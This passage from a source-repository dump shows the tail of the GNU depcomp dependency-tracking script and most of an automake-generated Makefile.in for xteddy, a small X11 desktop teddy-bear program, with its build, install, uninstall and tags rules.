obj_suffix=`echo "$object" | sed 's/^.*\././'` 661 | touch "$tmpdepfile" 662 | ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@" 663 | rm -f "$depfile" 664 | # makedepend may prepend the VPATH from the source file name to the object. 665 | # No need to regex-escape $object, excess matching of '.' is harmless. 666 | sed "s|^.*\($object *:\)|\1|" "$tmpdepfile" > "$depfile" 667 | # Some versions of the HPUX 10.20 sed can't process the last invocation 668 | # correctly. Breaking it into two sed invocations is a workaround. 669 | sed '1,2d' "$tmpdepfile" \ 670 | | tr ' ' "$nl" \ 671 | | sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' \ 672 | | sed -e 's/$/ :/' >> "$depfile" 673 | rm -f "$tmpdepfile" "$tmpdepfile".bak 674 | ;; 675 | 676 | cpp) 677 | # Important note: in order to support this mode, a compiler *must* 678 | # always write the preprocessed file to stdout. 679 | "$@" || exit $? 680 | 681 | # Remove the call to Libtool. 682 | if test "$libtool" = yes; then 683 | while test "X$1" != 'X--mode=compile'; do 684 | shift 685 | done 686 | shift 687 | fi 688 | 689 | # Remove '-o $object'. 690 | IFS=" " 691 | for arg 692 | do 693 | case $arg in 694 | -o) 695 | shift 696 | ;; 697 | $object) 698 | shift 699 | ;; 700 | *) 701 | set fnord "$@" "$arg" 702 | shift # fnord 703 | shift # $arg 704 | ;; 705 | esac 706 | done 707 | 708 | "$@" -E \ 709 | | sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \ 710 | -e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \ 711 | | sed '$ s: \\$::' > "$tmpdepfile" 712 | rm -f "$depfile" 713 | echo "$object : \\" > "$depfile" 714 | cat < "$tmpdepfile" >> "$depfile" 715 | sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile" 716 | rm -f "$tmpdepfile" 717 | ;; 718 | 719 | msvisualcpp) 720 | # Important note: in order to support this mode, a compiler *must* 721 | # always write the preprocessed file to stdout. 722 | "$@" || exit $? 723 | 724 | # Remove the call to Libtool. 725 | if test "$libtool" = yes; then 726 | while test "X$1" != 'X--mode=compile'; do 727 | shift 728 | done 729 | shift 730 | fi 731 | 732 | IFS=" " 733 | for arg 734 | do 735 | case "$arg" in 736 | -o) 737 | shift 738 | ;; 739 | $object) 740 | shift 741 | ;; 742 | "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI") 743 | set fnord "$@" 744 | shift 745 | shift 746 | ;; 747 | *) 748 | set fnord "$@" "$arg" 749 | shift 750 | shift 751 | ;; 752 | esac 753 | done 754 | "$@" -E 2>/dev/null | 755 | sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::\1:p' | $cygpath_u | sort -u > "$tmpdepfile" 756 | rm -f "$depfile" 757 | echo "$object : \\" > "$depfile" 758 | sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::'"$tab"'\1 \\:p' >> "$depfile" 759 | echo "$tab" >> "$depfile" 760 | sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::\1\::p' >> "$depfile" 761 | rm -f "$tmpdepfile" 762 | ;; 763 | 764 | msvcmsys) 765 | # This case exists only to let depend.m4 do its work. It works by 766 | # looking at the text of this script. This case will never be run, 767 | # since it is checked for above. 768 | exit 1 769 | ;; 770 | 771 | none) 772 | exec "$@" 773 | ;; 774 | 775 | *) 776 | echo "Unknown depmode $depmode" 1>&2 777 | exit 1 778 | ;; 779 | esac 780 | 781 | exit 0 782 | 783 | # Local Variables: 784 | # mode: shell-script 785 | # sh-indentation: 2 786 | # eval: (add-hook 'write-file-hooks 'time-stamp) 787 | # time-stamp-start: "scriptversion=" 788 | # time-stamp-format: "%:y-%02m-%02d.%02H" 789 | # time-stamp-time-zone: "UTC" 790 | # time-stamp-end: "; # UTC" 791 | # End: 792 | -------------------------------------------------------------------------------- /Makefile.in: -------------------------------------------------------------------------------- 1 | # Makefile.in generated by automake 1.15 from Makefile.am. 2 | # @configure_input@ 3 | 4 | # Copyright (C) 1994-2014 Free Software Foundation, Inc. 5 | 6 | # This Makefile.in is free software; the Free Software Foundation 7 | # gives unlimited permission to copy and/or distribute it, 8 | # with or without modifications, as long as this notice is preserved. 9 | 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY, to the extent permitted by law; without 12 | # even the implied warranty of MERCHANTABILITY or FITNESS FOR A 13 | # PARTICULAR PURPOSE. 14 | 15 | @SET_MAKE@ 16 | 17 | 18 | VPATH = @srcdir@ 19 | am__is_gnu_make = { \ 20 | if test -z '$(MAKELEVEL)'; then \ 21 | false; \ 22 | elif test -n '$(MAKE_HOST)'; then \ 23 | true; \ 24 | elif test -n '$(MAKE_VERSION)' && test -n '$(CURDIR)'; then \ 25 | true; \ 26 | else \ 27 | false; \ 28 | fi; \ 29 | } 30 | am__make_running_with_option = \ 31 | case $${target_option-} in \ 32 | ?) ;; \ 33 | *) echo "am__make_running_with_option: internal error: invalid" \ 34 | "target option '$${target_option-}' specified" >&2; \ 35 | exit 1;; \ 36 | esac; \ 37 | has_opt=no; \ 38 | sane_makeflags=$$MAKEFLAGS; \ 39 | if $(am__is_gnu_make); then \ 40 | sane_makeflags=$$MFLAGS; \ 41 | else \ 42 | case $$MAKEFLAGS in \ 43 | *\\[\ \ ]*) \ 44 | bs=\\; \ 45 | sane_makeflags=`printf '%s\n' "$$MAKEFLAGS" \ 46 | | sed "s/$$bs$$bs[$$bs $$bs ]*//g"`;; \ 47 | esac; \ 48 | fi; \ 49 | skip_next=no; \ 50 | strip_trailopt () \ 51 | { \ 52 | flg=`printf '%s\n' "$$flg" | sed "s/$$1.*$$//"`; \ 53 | }; \ 54 | for flg in $$sane_makeflags; do \ 55 | test $$skip_next = yes && { skip_next=no; continue; }; \ 56 | case $$flg in \ 57 | *=*|--*) continue;; \ 58 | -*I) strip_trailopt 'I'; skip_next=yes;; \ 59 | -*I?*) strip_trailopt 'I';; \ 60 | -*O) strip_trailopt 'O'; skip_next=yes;; \ 61 | -*O?*) strip_trailopt 'O';; \ 62 | -*l) strip_trailopt 'l'; skip_next=yes;; \ 63 | -*l?*) strip_trailopt 'l';; \ 64 | -[dEDm]) skip_next=yes;; \ 65 | -[JT]) skip_next=yes;; \ 66 | esac; \ 67 | case $$flg in \ 68 | *$$target_option*) has_opt=yes; break;; \ 69 | esac; \ 70 | done; \ 71 | test $$has_opt = yes 72 | am__make_dryrun = (target_option=n; $(am__make_running_with_option)) 73 | am__make_keepgoing = (target_option=k; $(am__make_running_with_option)) 74 | pkgdatadir = $(datadir)/@PACKAGE@ 75 | pkgincludedir = $(includedir)/@PACKAGE@ 76 | pkglibdir = $(libdir)/@PACKAGE@ 77 | pkglibexecdir = $(libexecdir)/@PACKAGE@ 78 | am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd 79 | install_sh_DATA = $(install_sh) -c -m 644 80 | install_sh_PROGRAM = $(install_sh) -c 81 | install_sh_SCRIPT = $(install_sh) -c 82 | INSTALL_HEADER = $(INSTALL_DATA) 83 | transform = $(program_transform_name) 84 | NORMAL_INSTALL = : 85 | PRE_INSTALL = : 86 | POST_INSTALL = : 87 | NORMAL_UNINSTALL = : 88 | PRE_UNINSTALL = : 89 | POST_UNINSTALL = : 90 | bin_PROGRAMS = xteddy$(EXEEXT) 91 | subdir = . 92 | ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 93 | am__aclocal_m4_deps = $(top_srcdir)/configure.in 94 | am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ 95 | $(ACLOCAL_M4) 96 | DIST_COMMON = $(srcdir)/Makefile.am $(top_srcdir)/configure \ 97 | $(am__configure_deps) $(am__DIST_COMMON) 98 | am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \ 99 | configure.lineno config.status.lineno 100 | mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs 101 | CONFIG_CLEAN_FILES = 102 | CONFIG_CLEAN_VPATH_FILES = 103 | am__installdirs = "$(DESTDIR)$(bindir)" "$(DESTDIR)$(man1dir)" \ 104 | "$(DESTDIR)$(pixmapdir)" 105 | PROGRAMS = $(bin_PROGRAMS) 106 | am_xteddy_OBJECTS = xteddy.$(OBJEXT) 107 | xteddy_OBJECTS = $(am_xteddy_OBJECTS) 108 | xteddy_DEPENDENCIES = 109 | AM_V_P = $(am__v_P_@AM_V@) 110 | am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) 111 | am__v_P_0 = false 112 | am__v_P_1 = : 113 | AM_V_GEN = $(am__v_GEN_@AM_V@) 114 | am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) 115 | am__v_GEN_0 = @echo " GEN " $@; 116 | am__v_GEN_1 = 117 | AM_V_at = $(am__v_at_@AM_V@) 118 | am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) 119 | am__v_at_0 = @ 120 | am__v_at_1 = 121 | DEFAULT_INCLUDES = -I.@am__isrc@ 122 | depcomp = $(SHELL) $(top_srcdir)/depcomp 123 | am__depfiles_maybe = depfiles 124 | am__mv = mv -f 125 | COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ 126 | $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) 127 | AM_V_CC = $(am__v_CC_@AM_V@) 128 | am__v_CC_ = $(am__v_CC_@AM_DEFAULT_V@) 129 | am__v_CC_0 = @echo " CC " $@; 130 | am__v_CC_1 = 131 | CCLD = $(CC) 132 | LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@ 133 | AM_V_CCLD = $(am__v_CCLD_@AM_V@) 134 | am__v_CCLD_ = $(am__v_CCLD_@AM_DEFAULT_V@) 135 | am__v_CCLD_0 = @echo " CCLD " $@; 136 | am__v_CCLD_1 = 137 | SOURCES = $(xteddy_SOURCES) 138 | DIST_SOURCES = $(xteddy_SOURCES) 139 | am__can_run_installinfo = \ 140 | case $$AM_UPDATE_INFO_DIR in \ 141 | n|no|NO) false;; \ 142 | *) (install-info --version) >/dev/null 2>&1;; \ 143 | esac 144 | am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; 145 | am__vpath_adj = case $$p in \ 146 | $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ 147 | *) f=$$p;; \ 148 | esac; 149 | am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; 150 | am__install_max = 40 151 | am__nobase_strip_setup = \ 152 | srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'` 153 | am__nobase_strip = \ 154 | for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||" 155 | am__nobase_list = $(am__nobase_strip_setup); \ 156 | for p in $$list; do echo "$$p $$p"; done | \ 157 | sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \ 158 | $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \ 159 | if (++n[$$2] == $(am__install_max)) \ 160 | { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \ 161 | END { for (dir in files) print dir, files[dir] }' 162 | am__base_list = \ 163 | sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \ 164 | sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' 165 | am__uninstall_files_from_dir = { \ 166 | test -z "$$files" \ 167 | || { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \ 168 | || { echo " ( cd '$$dir' && rm -f" $$files ")"; \ 169 | $(am__cd) "$$dir" && rm -f $$files; }; \ 170 | } 171 | man1dir = $(mandir)/man1 172 | NROFF = nroff 173 | MANS = $(man_MANS) 174 | DATA = $(pixmap_DATA) 175 | am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) 176 | # Read a list of newline-separated strings from the standard input, 177 | # and print each of them once, without duplicates. Input order is 178 | # *not* preserved. 179 | am__uniquify_input = $(AWK) '\ 180 | BEGIN { nonempty = 0; } \ 181 | { items[$$0] = 1; nonempty = 1; } \ 182 | END { if (nonempty) { for (i in items) print i; }; } \ 183 | ' 184 | # Make sure the list of sources is unique. This is necessary because, 185 | # e.g., the same source file might be shared among _SOURCES variables 186 | # for different programs/libraries. 187 | am__define_uniq_tagged_files = \ 188 | list='$(am__tagged_files)'; \ 189 | unique=`for i in $$list; do \ 190 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ 191 | done | $(am__uniquify_input)` 192 | ETAGS = etags 193 | CTAGS = ctags 194 | CSCOPE = cscope 195 | AM_RECURSIVE_TARGETS = cscope 196 | am__DIST_COMMON = $(srcdir)/Makefile.in AUTHORS COPYING ChangeLog \ 197 | INSTALL NEWS README compile depcomp install-sh missing \ 198 | mkinstalldirs 199 | DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) 200 | distdir = $(PACKAGE)-$(VERSION) 201 | top_distdir = $(distdir) 202 | am__remove_distdir = \ 203 | if test -d "$(distdir)"; then \ 204 | find "$(distdir)" -type d ! -perm -200 -exec chmod u+w {} ';' \ 205 | && rm -rf "$(distdir)" \ 206 | || { sleep 5 && rm -rf "$(distdir)"; }; \ 207 | else :; fi 208 | am__post_remove_distdir = $(am__remove_distdir) 209 | DIST_ARCHIVES = $(distdir).tar.gz 210 | GZIP_ENV = --best 211 | DIST_TARGETS = dist-gzip 212 | distuninstallcheck_listfiles = find . -type f -print 213 | am__distuninstallcheck_listfiles = $(distuninstallcheck_listfiles) \ 214 | | sed 's|^\./|$(prefix)/|' | grep -v '$(infodir)/dir$$' 215 | distcleancheck_listfiles = find . -type f -print 216 | ACLOCAL = @ACLOCAL@ 217 | AMTAR = @AMTAR@ 218 | AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ 219 | AUTOCONF = @AUTOCONF@ 220 | AUTOHEADER = @AUTOHEADER@ 221 | AUTOMAKE = @AUTOMAKE@ 222 | AWK = @AWK@ 223 | CC = @CC@ 224 | CCDEPMODE = @CCDEPMODE@ 225 | CFLAGS = @CFLAGS@ 226 | CPP = @CPP@ 227 | CPPFLAGS = @CPPFLAGS@ 228 | CYGPATH_W = @CYGPATH_W@ 229 | DEFS = @DEFS@ 230 | DEPDIR = @DEPDIR@ 231 | ECHO_C = @ECHO_C@ 232 | ECHO_N = @ECHO_N@ 233 | ECHO_T = @ECHO_T@ 234 | EXEEXT = @EXEEXT@ 235 | INSTALL = @INSTALL@ 236 | INSTALL_DATA = @INSTALL_DATA@ 237 | INSTALL_PROGRAM = @INSTALL_PROGRAM@ 238 | INSTALL_SCRIPT = @INSTALL_SCRIPT@ 239 | INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ 240 | LDFLAGS = @LDFLAGS@ 241 | LIBOBJS = @LIBOBJS@ 242 | LIBS = -lX11 -lXext -lXpm -lXtst 243 | LTLIBOBJS = @LTLIBOBJS@ 244 | MAKEINFO = @MAKEINFO@ 245 | MKDIR_P = @MKDIR_P@ 246 | OBJEXT = @OBJEXT@ 247 | PACKAGE = @PACKAGE@ 248 | PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ 249 | PACKAGE_NAME = @PACKAGE_NAME@ 250 | PACKAGE_STRING = @PACKAGE_STRING@ 251 | PACKAGE_TARNAME = @PACKAGE_TARNAME@ 252 | PACKAGE_URL = @PACKAGE_URL@ 253 | PACKAGE_VERSION = @PACKAGE_VERSION@ 254 | PATH_SEPARATOR = @PATH_SEPARATOR@ 255 | SET_MAKE = @SET_MAKE@ 256 | SHELL = @SHELL@ 257 | STRIP = @STRIP@ 258 | VERSION = @VERSION@ 259 | XMKMF = @XMKMF@ 260 | X_CFLAGS = @X_CFLAGS@ 261 | X_EXTRA_LIBS = @X_EXTRA_LIBS@ 262 | X_LIBS = @X_LIBS@ 263 | X_PRE_LIBS = @X_PRE_LIBS@ 264 | abs_builddir = @abs_builddir@ 265 | abs_srcdir = @abs_srcdir@ 266 | abs_top_builddir = @abs_top_builddir@ 267 | abs_top_srcdir = @abs_top_srcdir@ 268 | ac_ct_CC = @ac_ct_CC@ 269 | am__include = @am__include@ 270 | am__leading_dot = @am__leading_dot@ 271 | am__quote = @am__quote@ 272 | am__tar = @am__tar@ 273 | am__untar = @am__untar@ 274 | bindir = @bindir@ 275 | build_alias = @build_alias@ 276 | builddir = @builddir@ 277 | datadir = @datadir@ 278 | datarootdir = @datarootdir@ 279 | docdir = @docdir@ 280 | dvidir = @dvidir@ 281 | exec_prefix = @exec_prefix@ 282 | host_alias = @host_alias@ 283 | htmldir = @htmldir@ 284 | includedir = @includedir@ 285 | infodir = @infodir@ 286 | install_sh = @install_sh@ 287 | libdir = @libdir@ 288 | libexecdir = @libexecdir@ 289 | localedir = @localedir@ 290 | localstatedir = @localstatedir@ 291 | mandir = @mandir@ 292 | mkdir_p = @mkdir_p@ 293 | oldincludedir = @oldincludedir@ 294 | pdfdir = @pdfdir@ 295 | prefix = @prefix@ 296 | program_transform_name = @program_transform_name@ 297 | psdir = @psdir@ 298 | runstatedir = @runstatedir@ 299 | sbindir = @sbindir@ 300 | sharedstatedir = @sharedstatedir@ 301 | srcdir = @srcdir@ 302 | sysconfdir = @sysconfdir@ 303 | target_alias = @target_alias@ 304 | top_build_prefix = @top_build_prefix@ 305 | top_builddir = @top_builddir@ 306 | top_srcdir = @top_srcdir@ 307 | xteddy_SOURCES = xteddy.c 308 | HTML_DOC = html/xteddy.html html/xteddy_info.html \ 309 | html/images/noise.jpg html/images/xteddy.gif html/images/xteddy.xbm 310 | 311 | xteddy_LDADD = -L/usr/X11R6/lib 312 | man_MANS = xteddy.1 313 | pixmapdir = $(prefix)/include/X11 314 | pixmap_DATA = pixmaps/xteddy_bw.xbm \ 315 | pixmaps/xteddy_color.xpm \ 316 | pixmaps/xteddy_icon.xbm \ 317 | pixmaps/xteddy_mask.xbm \ 318 | pixmaps/xpenguin_bw.xbm \ 319 | pixmaps/xpenguin_color.xpm \ 320 | pixmaps/xpenguin_icon.xbm \ 321 | pixmaps/xpenguin_mask.xbm \ 322 | pixmaps/teddy_bw.xbm \ 323 | pixmaps/teddy_color.xpm \ 324 | pixmaps/teddy_icon.xbm \ 325 | pixmaps/teddy_mask.xbm 326 | 327 | EXTRA_DIST = xteddy.README configure xteddy.1 autogen.sh \ 328 | $(HTML_DOC) $(pixmap_DATA) 329 | 330 | all: all-am 331 | 332 | .SUFFIXES: 333 | .SUFFIXES: .c .o .obj 334 | am--refresh: Makefile 335 | @: 336 | $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) 337 | @for dep in $?; do \ 338 | case '$(am__configure_deps)' in \ 339 | *$$dep*) \ 340 | echo ' cd $(srcdir) && $(AUTOMAKE) --gnu'; \ 341 | $(am__cd) $(srcdir) && $(AUTOMAKE) --gnu \ 342 | && exit 0; \ 343 | exit 1;; \ 344 | esac; \ 345 | done; \ 346 | echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu Makefile'; \ 347 | $(am__cd) $(top_srcdir) && \ 348 | $(AUTOMAKE) --gnu Makefile 349 | Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status 350 | @case '$?' in \ 351 | *config.status*) \ 352 | echo ' $(SHELL) ./config.status'; \ 353 | $(SHELL) ./config.status;; \ 354 | *) \ 355 | echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \ 356 | cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \ 357 | esac; 358 | 359 | $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) 360 | $(SHELL) ./config.status --recheck 361 | 362 | $(top_srcdir)/configure: $(am__configure_deps) 363 | $(am__cd) $(srcdir) && $(AUTOCONF) 364 | $(ACLOCAL_M4): $(am__aclocal_m4_deps) 365 | $(am__cd) $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS) 366 | $(am__aclocal_m4_deps): 367 | install-binPROGRAMS: $(bin_PROGRAMS) 368 | @$(NORMAL_INSTALL) 369 | @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ 370 | if test -n "$$list"; then \ 371 | echo " $(MKDIR_P) '$(DESTDIR)$(bindir)'"; \ 372 | $(MKDIR_P) "$(DESTDIR)$(bindir)" || exit 1; \ 373 | fi; \ 374 | for p in $$list; do echo "$$p $$p"; done | \ 375 | sed 's/$(EXEEXT)$$//' | \ 376 | while read p p1; do if test -f $$p \ 377 | ; then echo "$$p"; echo "$$p"; else :; fi; \ 378 | done | \ 379 | sed -e 'p;s,.*/,,;n;h' \ 380 | -e 's|.*|.|' \ 381 | -e 'p;x;s,.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/' | \ 382 | sed 'N;N;N;s,\n, ,g' | \ 383 | $(AWK) 'BEGIN { files["."] = ""; dirs["."] = 1 } \ 384 | { d=$$3; if (dirs[d] != 1) { print "d", d; dirs[d] = 1 } \ 385 | if ($$2 == $$4) files[d] = files[d] " " $$1; \ 386 | else { print "f", $$3 "/" $$4, $$1; } } \ 387 | END { for (d in files) print "f", d, files[d] }' | \ 388 | while read type dir files; do \ 389 | if test "$$dir" = .; then dir=; else dir=/$$dir; fi; \ 390 | test -z "$$files" || { \ 391 | echo " $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files '$(DESTDIR)$(bindir)$$dir'"; \ 392 | $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files "$(DESTDIR)$(bindir)$$dir" || exit $$?; \ 393 | } \ 394 | ; done 395 | 396 | uninstall-binPROGRAMS: 397 | @$(NORMAL_UNINSTALL) 398 | @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ 399 | files=`for p in $$list; do echo "$$p"; done | \ 400 | sed -e 'h;s,^.*/,,;s/$(EXEEXT)$$//;$(transform)' \ 401 | -e 's/$$/$(EXEEXT)/' \ 402 | `; \ 403 | test -n "$$list" || exit 0; \ 404 | echo " ( cd '$(DESTDIR)$(bindir)' && rm -f" $$files ")"; \ 405 | cd "$(DESTDIR)$(bindir)" && rm -f $$files 406 | 407 | clean-binPROGRAMS: 408 | -test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS) 409 | 410 | xteddy$(EXEEXT): $(xteddy_OBJECTS) $(xteddy_DEPENDENCIES) $(EXTRA_xteddy_DEPENDENCIES) 411 | @rm -f xteddy$(EXEEXT) 412 | $(AM_V_CCLD)$(LINK) $(xteddy_OBJECTS) $(xteddy_LDADD) $(LIBS) 413 | 414 | mostlyclean-compile: 415 | -rm -f *.$(OBJEXT) 416 | 417 | distclean-compile: 418 | -rm -f *.tab.c 419 | 420 | @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/xteddy.Po@am__quote@ 421 | 422 | .c.o: 423 | @am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< 424 | @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po 425 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ 426 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ 427 | @am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c -o $@ $< 428 | 429 | .c.obj: 430 | @am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` 431 | @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po 432 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ 433 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ 434 | @am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c -o $@ `$(CYGPATH_W) '$<'` 435 | install-man1: $(man_MANS) 436 | @$(NORMAL_INSTALL) 437 | @list1=''; \ 438 | list2='$(man_MANS)'; \ 439 | test -n "$(man1dir)" \ 440 | && test -n "`echo $$list1$$list2`" \ 441 | || exit 0; \ 442 | echo " $(MKDIR_P) '$(DESTDIR)$(man1dir)'"; \ 443 | $(MKDIR_P) "$(DESTDIR)$(man1dir)" || exit 1; \ 444 | { for i in $$list1; do echo "$$i"; done; \ 445 | if test -n "$$list2"; then \ 446 | for i in $$list2; do echo "$$i"; done \ 447 | | sed -n '/\.1[a-z]*$$/p'; \ 448 | fi; \ 449 | } | while read p; do \ 450 | if test -f $$p; then d=; else d="$(srcdir)/"; fi; \ 451 | echo "$$d$$p"; echo "$$p"; \ 452 | done | \ 453 | sed -e 'n;s,.*/,,;p;h;s,.*\.,,;s,^[^1][0-9a-z]*$$,1,;x' \ 454 | -e 's,\.[0-9a-z]*$$,,;$(transform);G;s,\n,.,' | \ 455 | sed 'N;N;s,\n, ,g' | { \ 456 | list=; while read file base inst; do \ 457 | if test "$$base" = "$$inst"; then list="$$list $$file"; else \ 458 | echo " $(INSTALL_DATA) '$$file' '$(DESTDIR)$(man1dir)/$$inst'"; \ 459 | $(INSTALL_DATA) "$$file" "$(DESTDIR)$(man1dir)/$$inst" || exit $$?; \ 460 | fi; \ 461 | done; \ 462 | for i in $$list; do echo "$$i"; done | $(am__base_list) | \ 463 | while read files; do \ 464 | test -z "$$files" || { \ 465 | echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(man1dir)'"; \ 466 | $(INSTALL_DATA) $$files "$(DESTDIR)$(man1dir)" || exit $$?; }; \ 467 | done; } 468 | 469 | uninstall-man1: 470 | @$(NORMAL_UNINSTALL) 471 | @list=''; test -n "$(man1dir)" || exit 0; \ 472 | files=`{ for i in $$list; do echo "$$i"; done; \ 473 | l2='$(man_MANS)'; for i in $$l2; do echo "$$i"; done | \ 474 | sed -n '/\.1[a-z]*$$/p'; \ 475 | } | sed -e 's,.*/,,;h;s,.*\.,,;s,^[^1][0-9a-z]*$$,1,;x' \ 476 | -e 's,\.[0-9a-z]*$$,,;$(transform);G;s,\n,.,'`; \ 477 | dir='$(DESTDIR)$(man1dir)'; $(am__uninstall_files_from_dir) 478 | install-pixmapDATA: $(pixmap_DATA) 479 | @$(NORMAL_INSTALL) 480 | @list='$(pixmap_DATA)'; test -n "$(pixmapdir)" || list=; \ 481 | if test -n "$$list"; then \ 482 | echo " $(MKDIR_P) '$(DESTDIR)$(pixmapdir)'"; \ 483 | $(MKDIR_P) "$(DESTDIR)$(pixmapdir)" || exit 1; \ 484 | fi; \ 485 | for p in $$list; do \ 486 | if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ 487 | echo "$$d$$p"; \ 488 | done | $(am__base_list) | \ 489 | while read files; do \ 490 | echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(pixmapdir)'"; \ 491 | $(INSTALL_DATA) $$files "$(DESTDIR)$(pixmapdir)" || exit $$?; \ 492 | done 493 | 494 | uninstall-pixmapDATA: 495 | @$(NORMAL_UNINSTALL) 496 | @list='$(pixmap_DATA)'; test -n "$(pixmapdir)" || list=; \ 497 | files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \ 498 | dir='$(DESTDIR)$(pixmapdir)'; $(am__uninstall_files_from_dir) 499 | 500 | ID: $(am__tagged_files) 501 | $(am__define_uniq_tagged_files); mkid -fID $$unique 502 | tags: tags-am 503 | TAGS: tags 504 | 505 | tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) 506 | set x; \ 507 | here=`pwd`; \ 508 | $(am__define_uniq_tagged_files); \ 509 | shift; \ 510 | if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ 511 | test -n "$$unique" || unique=$$empty_fix; \ 512 | if test $$# -gt 0; then \ 513 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ 514 | "$$@" $$unique; \ 515 | else \ 516 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ 517 | $$unique; \ 518 | fi; \ 519 | fi 520 | ctags: ctags-am 521 | 522 | CTAGS: ctags 523 | ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) 524 | $(am__define_uniq_tagged_files); \ 525 | test -z "$(CTAGS_ARGS)$$unique" \ 526 | || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ 527 | $$unique 528 | 529 | GTAGS: 530 | here=`$(am__cd) $(top_builddir) && pwd` \ 531 | && $(am__cd) $(top_srcdir) \ 532 | && gtags -i $(GTAGS_ARGS) "$$here" 533 | cscope: cscope.files 534 | test ! -s cscope.files \ 535 | || $(CSCOPE) -b -q $(AM_CSCOPEFLAGS) $(CSCOPEFLAGS) -i cscope.files $(CSCOPE_ARGS) 536 | clean-cscope: 537 | -rm -f cscope.files 538 | 